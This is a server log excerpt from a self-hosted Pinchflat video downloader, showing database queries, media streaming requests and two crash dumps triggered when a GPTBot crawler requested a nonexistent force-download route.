QUERY OK source="settings" db=0.1ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:52:54.187 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:52:54.188 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 20:52:54.189 [info] Sent 200 in 7ms 20:52:56.060 [info] GET /sources/30/media/141479 20:52:56.060 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141479", "source_id" => "30"} Pipelines: [:browser] 20:52:56.062 [debug] QUERY OK source="media_items" db=0.5ms idle=654.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141479] 20:52:56.063 [debug] QUERY OK source="tasks" db=0.5ms idle=360.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141479] 20:52:56.064 [debug] QUERY OK source="sources" db=0.8ms idle=360.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 20:52:56.065 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=362.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7279] 20:52:56.065 [debug] QUERY OK source="settings" db=0.1ms idle=363.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:52:56.066 [debug] QUERY OK source="settings" db=0.0ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:52:56.066 [debug] QUERY OK source="settings" db=0.1ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:52:56.067 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 20:52:56.068 [info] Sent 200 in 8ms 20:52:57.841 [info] GET /sources/31/media/141520/force_download 20:52:57.843 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=428.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:52:57.844 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=140.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:52:57.844 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 20:52:57.845 [error] #PID<0.136169.0> running PinchflatWeb.Endpoint (connection #PID<0.136145.0>, stream id 6) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/31/media/141520/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/141520/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.136145.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/141520/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46410}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQmNnckQwQnlJV3lTYzEwaWFGUlplcjJR.E9HHYrb9UEcgThYMyf121SErk20xq3RmbR45nDnGRvE", "from" => "gptbot(at)openai.com", "host" => "pinchflat.ocaff.com", "referer" => "https://pinchflat.ocaff.com/sources/31/media/141520", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.185", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-openai-host-hash" => "152533818", "x-real-ip" => "74.7.227.185" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 6, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQmNnckQwQnlJV3lTYzEwaWFGUlplcjJR.E9HHYrb9UEcgThYMyf121SErk20xq3RmbR45nDnGRvE" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.136169.0>, params: %{}, path_info: ["sources", "31", "media", "141520", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQmNnckQwQnlJV3lTYzEwaWFGUlplcjJR.E9HHYrb9UEcgThYMyf121SErk20xq3RmbR45nDnGRvE" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQmNnckQwQnlJV3lTYzEwaWFGUlplcjJR.E9HHYrb9UEcgThYMyf121SErk20xq3RmbR45nDnGRvE"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.ocaff.com"}, {"referer", "https://pinchflat.ocaff.com/sources/31/media/141520"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.227.185"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-openai-host-hash", "152533818"}, {"x-real-ip", "74.7.227.185"} ], request_path: "/sources/31/media/141520/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLW6lT2gujA8ReAAC-Vi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.136145.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/141520/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46410}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQmNnckQwQnlJV3lTYzEwaWFGUlplcjJR.E9HHYrb9UEcgThYMyf121SErk20xq3RmbR45nDnGRvE", "from" => "gptbot(at)openai.com", "host" => "pinchflat.ocaff.com", "referer" => "https://pinchflat.ocaff.com/sources/31/media/141520", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.185", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-openai-host-hash" => "152533818", "x-real-ip" => "74.7.227.185" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 6, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/141520/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.136145.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/141520/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46410}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQmNnckQwQnlJV3lTYzEwaWFGUlplcjJR.E9HHYrb9UEcgThYMyf121SErk20xq3RmbR45nDnGRvE", "from" => "gptbot(at)openai.com", "host" => "pinchflat.ocaff.com", "referer" => "https://pinchflat.ocaff.com/sources/31/media/141520", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.185", (truncated) 20:52:59.354 [info] GET /sources/31/media/141520/edit 20:52:59.354 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "141520", "source_id" => "31"} Pipelines: [:browser] 20:52:59.356 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=1652.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141520] 20:52:59.357 [debug] QUERY OK source="settings" db=0.4ms idle=1654.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:52:59.358 [debug] QUERY OK source="settings" db=0.3ms idle=1514.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:52:59.359 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=1515.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:52:59.360 [info] Sent 200 in 6ms 20:53:00.231 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:53:03.206 [info] {"source":"oban","duration":1764,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:53:04.235 [info] GET /media/d945a9e6-859f-4f8f-9df5-2d1d56b66268/stream 20:53:04.235 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "d945a9e6-859f-4f8f-9df5-2d1d56b66268", "v" => "1780530285"} Pipelines: [:maybe_basic_auth] 20:53:04.237 [debug] QUERY OK source="media_items" db=0.8ms idle=1533.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["d945a9e6-859f-4f8f-9df5-2d1d56b66268"] 20:53:04.237 [debug] Invalid range request for media item: d945a9e6-859f-4f8f-9df5-2d1d56b66268 - serving full file 20:53:04.238 [info] Sent 200 in 2ms 20:53:25.347 [info] GET /sources/31/media/141520 20:53:25.348 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141520", "prevent_download" => "true", "source_id" => "31"} Pipelines: [:browser] 20:53:25.349 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=334.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141520] 20:53:25.350 [debug] QUERY OK source="tasks" db=0.5ms idle=336.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141520] 20:53:25.351 [debug] QUERY OK source="sources" db=0.8ms idle=336.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 20:53:25.352 [debug] QUERY OK source="oban_jobs" db=0.4ms queue=0.1ms idle=337.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7281] 20:53:25.353 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=292.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:53:25.353 [debug] QUERY OK source="settings" db=0.0ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:53:25.354 [debug] QUERY OK source="settings" db=0.1ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:53:25.354 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 20:53:25.355 [info] Sent 200 in 7ms 20:53:29.239 [info] GET /media/c28effa9-0901-4250-ae98-36df40680dbc/stream 20:53:29.239 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "c28effa9-0901-4250-ae98-36df40680dbc", "v" => "1780357325"} Pipelines: [:maybe_basic_auth] 20:53:29.249 [debug] QUERY OK source="media_items" db=8.9ms idle=226.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["c28effa9-0901-4250-ae98-36df40680dbc"] 20:53:29.249 [debug] Invalid range request for media item: c28effa9-0901-4250-ae98-36df40680dbc - serving full file 20:53:29.249 [info] Sent 200 in 10ms 20:53:33.208 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:53:57.371 [info] GET /sources/31/media/141080/edit 20:53:57.371 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "141080", "source_id" => "31"} Pipelines: [:browser] 20:53:57.372 [debug] QUERY OK source="media_items" db=0.1ms idle=314.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141080] 20:53:57.372 [debug] QUERY OK source="settings" db=0.1ms idle=314.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:53:57.373 [debug] QUERY OK source="settings" db=0.0ms idle=315.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:53:57.373 [debug] QUERY OK source="settings" db=0.0ms idle=315.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:53:57.374 [info] Sent 200 in 2ms 20:54:00.233 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:54:00.559 [info] GET /sources/31/media/141080/force_download 20:54:00.560 [debug] QUERY OK source="settings" db=0.3ms idle=1502.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:54:00.561 [debug] QUERY OK source="settings" db=0.3ms idle=1503.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:54:00.561 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 20:54:00.563 [error] #PID<0.136183.0> running PinchflatWeb.Endpoint (connection #PID<0.136145.0>, stream id 12) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/31/media/141080/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/141080/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.136145.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/141080/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46410}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQmNnckQwQnlJV3lTYzEwaWFGUlplcjJR.E9HHYrb9UEcgThYMyf121SErk20xq3RmbR45nDnGRvE", "from" => "gptbot(at)openai.com", "host" => "pinchflat.ocaff.com", "referer" => "https://pinchflat.ocaff.com/sources/31/media/141080", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.185", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-openai-host-hash" => "152533818", "x-real-ip" => "74.7.227.185" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 12, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQmNnckQwQnlJV3lTYzEwaWFGUlplcjJR.E9HHYrb9UEcgThYMyf121SErk20xq3RmbR45nDnGRvE" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.136183.0>, params: %{}, path_info: ["sources", "31", "media", "141080", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQmNnckQwQnlJV3lTYzEwaWFGUlplcjJR.E9HHYrb9UEcgThYMyf121SErk20xq3RmbR45nDnGRvE" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQmNnckQwQnlJV3lTYzEwaWFGUlplcjJR.E9HHYrb9UEcgThYMyf121SErk20xq3RmbR45nDnGRvE"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.ocaff.com"}, {"referer", "https://pinchflat.ocaff.com/sources/31/media/141080"}, {"user-agent", "Mozilla/5.0 